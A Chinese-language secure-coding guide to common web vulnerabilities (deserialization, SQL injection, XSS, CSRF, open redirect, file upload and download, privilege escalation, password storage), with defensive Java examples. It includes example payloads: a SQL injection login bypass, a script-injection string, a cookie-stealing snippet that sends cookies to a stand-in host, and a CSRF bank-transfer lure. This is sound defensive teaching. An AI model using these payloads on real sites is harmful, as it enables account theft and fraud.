Web安全實踐

網站安全

前言

安全無小事,成敗在細節,網路有風險,災難彈指間。

安全一般情況下看不見,在你周圍漂浮著,顯現出來後,往往會刻骨銘心。正因為安全看不見,所以往往不受重視,因為感知到的概率真的太低,用戶的第一感知是他看得見、摸得著、嗅得到、品得出的東西,實實在在的東西,而不是那種虛無縹緲的東西,我們對概率低的東西往往默認選擇忽略。

編碼安全

反序列化命令執行

暴露或間接暴露反序列化API,導致用戶可以操作傳入數據,攻擊者可以精心構造反序列化對象並執行惡意程式碼。

最典型的就是fastjson了,有一段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,並且給出了升級建議。fastjson在反序列化時會調用目標類的setter方法,那麼如果黑客在JdbcRowSetImpl的dataSourceName中設置了一個想要執行的命令,那麼就會導致很嚴重的後果遠程命令執行漏洞,即利用漏洞入侵到目標伺服器,通過伺服器執行命令。

所以針對這種開源框架及工具包,建議使用最新版本,避免被不法分子鑽漏洞。

SQL 注入

SQL注入漏洞是由於Web應用程式沒有對用戶輸入數據的合法性進行判斷,攻擊者通過Web頁面的輸入區域(如URL、表單等) ,用精心構造的SQL語句插入特殊字元和指令,通過和資料庫交互獲得私密資訊或者篡改資料庫資訊。SQL注入攻擊在Web攻擊中非常流行,攻擊者可以利用SQL注入漏洞獲得管理員許可權,在網頁上加掛木馬和各種惡意程式,盜取企業和用戶敏感資訊。

比如登錄的時候,用戶輸入了「admin’ or 1=1 –」,

漏洞程式碼:select * from user where username='${username}' and password=『${password}'
SQL 執行:select * from user where username=' admin' or 1=1 -- ' and password=null

防範措施

  • 使用預處理執行SQL語句
  • 如果使用的是MyBatis,那麼所有的變數必須使用#符號;如果特殊應用必須使用$的情況,必須確保變數完全來源於系統內部或程式碼定義好的固定常量
  • 對於Order by或者表名、欄位名等不能使用預處理的情況,研發人員可以在java層面做映射來進行解決

跨站 XSS(Cross-site scripting)

跨站腳本攻擊發生在客戶端,可被用於進行竊取隱私、釣魚欺騙、竊取密碼、傳播惡意程式碼等攻擊。

攻擊者利用應用程式的動態展示數據功能,在html頁面里嵌入惡意程式碼(如:「」)。當用戶瀏覽該頁之時,這些嵌入在html中的惡意程式碼會被執行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的。

一個釣魚欺騙的例子,比如論壇裡面有人回復了一條消息,假設用戶貼了一張圖片,src如下,

//xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='//danger.com/xxx.js' /\u003e"
其中「\u003c」對應「<」,「\u003e」對應「>」

一個盜取cookie的例子,同源策略不限制img標籤,img可能是惡意網址的鏈接,那麼可以構造一個看不見的img,然後把用戶的cookie發送到惡意網址的伺服器

var img=document.createElement("img");
img.src="//danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);

安全編碼建議,Java側需要對非富文本採用escape轉義,富文本採用owasp antisamy;在javascript內容中輸出的「用戶可控數據」,需要做javascript escape轉義」,同時如果可以的話,給網站設置一個跳轉的白名單。

Java程式碼如下

import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;

public class Test {

    public static void main(String[] args) {
        String str = "abc<script>alert(\"hello\")</script>def";

        // 非富文本採用escape轉義
        System.out.println("EscapeUtil:" + EscapeUtil.escape(str));

        // 富文本採用owasp antisamy
        AntiSamy antiSamy = new AntiSamy();
        try {
            Policy policy = Policy.getInstance(Test.class.getClassLoader()
                    .getResourceAsStream("antisamy-anythinggoes.xml"));
            CleanResults results = antiSamy.scan(str, policy);
            System.out.println("AntiSamy:" + results.getCleanHTML());
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

跨站請求偽造 CSRF(Cross-site request forgery)

攻擊者在用戶瀏覽網頁時,利用頁面元素(例如img的src),強迫受害者的瀏覽器向Web應用程式發送一個改變用戶資訊的請求。

比如一個用戶的會話cookie在瀏覽器沒有關閉的時候,是不會被刪除的,所以可以換個思路,不再去偷這個cookie了,相反,可以在web.com中構造一個領獎頁面,裡面包含一個連接,讓用戶去點擊,例如:

恭喜你獲得了iPhoneX一台,快來<a href="www.icbc.com.cn/transfer?toBankId=黑客的賬戶&money=金額">領取吧</a>

這得先知道icbc.com.cn的轉賬操作的url和參數名稱。
如果這個用戶恰好登錄了icbc.com,那他的cookie還在,當他禁不住誘惑,點了這個鏈接後,一個轉賬操作就神不知鬼不覺的發生了。

防範措施

  • 用戶登陸時,設置一個CSRF的隨機TOKEN,同時後續都在請求後面帶上這個TOKEN
  • 生成表單的同時,推送TOKEN值。表單提交,判斷token是否一致,如果不一致或沒有這個值,判斷為CSRF攻擊,並記錄日誌 ,如一致就放行,並重新生成下一個新的token
  • 重要操作增加二次圖片驗證碼或滑動驗證碼等
  • 致命操作使用二次密碼驗證或人臉識別等

URL跳轉

Web應用程式接收到用戶提交的URL參數後,沒有對參數做「可信任URL」的驗證,就向用戶瀏覽器返回跳轉到該URL的指令。一般發生在登錄授權的回調地址那裡。

防範措施,添加跳轉白名單,判斷目的地址是否在白名單列表中,如果不在列表中,就判定為URL跳轉攻擊。

文件安全

任意文件上傳

文件上傳漏洞通常由於網頁程式碼中的文件上傳路徑變數過濾不嚴造成的,如果文件上傳功能實現程式碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站後門文件(webshell),進而遠程控制網站伺服器。

防範措施

  • 檢查上傳文件擴展名白名單,不屬於白名單內,不允許上傳。
  • 上傳文件的目錄必須是http請求無法直接訪問到的。如果需要訪問的,必須上傳到其他(和web伺服器不同的)域名下,並設置該目錄為不解析jsp等腳本語言的目錄。
  • 圖片上傳,要通過處理(縮略圖、水印等),無異常後才能保存到伺服器。

任意文件下載

處理用戶請求下載文件時,允許用戶提交任意文件路徑,並把伺服器上對應的文件直接發送給用戶,這將造成任意文件下載威脅。如果讓用戶提交文件目錄地址,就把目錄下的文件列表發給用戶,會造成目錄遍歷安全威脅。

防範措施

  • 文件路徑保存至資料庫,讓用戶提交文件對應ID下載文件
  • 下載文件之前做許可權判斷
  • 不允許提供目錄遍歷服務

許可權安全

垂直許可權安全/縱向越權

由於應用程式沒有做鑒權,或鑒權做的比較粗,導致的惡意用戶可以通過窮舉遍歷管理頁面的URL,就可以訪問或控制其他角色擁有的數據或管理功能,達到許可權提升目的。

可以採用細粒度鑒權策略,判斷當前用戶是否擁有功能的許可權。

水平許可權安全/橫向越權

應用程式根據用戶提交的ID(如訂單id、用戶id、商品id等),在沒有校驗身份的情況下,直接返回用戶資訊,從而會造成攻擊者越權遍歷所有其他用戶資訊的問題。

涉及到用戶數據的操作應進行嚴格的身份校驗,可以從服務端登錄態cookie或session資訊中取值校驗,禁止通過用戶提交的ID資訊直接進行數據操作。

資訊安全

密碼

過去一段時間來, 眾多的網站遭遇用戶密碼資料庫泄露事件。層出不窮的類似事件對用戶會造成巨大的影響,因為人們往往習慣在不同網站使用相同的密碼,一家 「暴庫」,全部遭殃。

在用戶設置密碼時,需要校驗密碼的強度,要數字、密碼、特殊符號,且6位以上。

同時在網路傳輸上,也要注意進行加密傳輸。

在密碼的存儲上,一定不能存儲明文,需要進行加密存儲,這其中經過一系列的存儲加密升級。

單純的MD5或sha演算法加密,看起來很安全,沒法被破解,但是有了字典表/彩虹表破解的手段,破解出來就是很簡單的事了,具體可以看MD5 解密查詢的網站上,如果你的密碼很簡單,加密後的 MD5 密文都能反查出原始密碼來。

早期為了改進單向hash的缺陷,為了讓彩虹表失效,引入了鹽,鹽是隨機生成的一個唯一字元串,連在明文密碼後增強密碼的隨機性,然後再做hash得到的加密密文存儲在db中,這樣一個是相同的密碼存在db中的值就不同了,另一個是彩虹表也不會再起作用了。但是同樣以目前電腦的算力,暴力破解也是分分鐘的事情。

PBKDF2/BCrypt/SCrypt 演算法,這幾種演算法有一個特點,演算法中都有個因子,用於指明計算密碼摘要所需要的資源和時間,也就是計算強度。計算強度越大,攻擊者建立rainbow table越困難,以至於不可繼續。這類演算法也可以保證即使計算能力不斷提高,只要調整演算法中的強度因子,密碼仍然不可能被輕易的攻破。

個人敏感資訊

典型的如用戶的身份證跟手機號,現在很多網站,只要一個身份證跟手機號,就擁有了很多許可權,對於這部分資訊的存儲,也需要注意加密,且不能只使用簡單的加密演算法,特別不要將編碼(如Base64)和密碼演算法混為一談,前者不是密碼演算法。不要使用DES等低強度的密碼演算法,使用AES等高強度的加密演算法。

驗證碼安全

登陸、註冊、簡訊驗證、郵件驗證等api往往會成為攻擊者撞庫、轟炸的目標。
在登陸、註冊、簡訊發送、郵件發送必須加入圖片驗證碼,同時驗證碼必須設置有效期和有效次數(一般為一次性),使用簡訊、郵件驗證時,必須限制同一ID或接收者的驗證碼發送頻率。

參考資料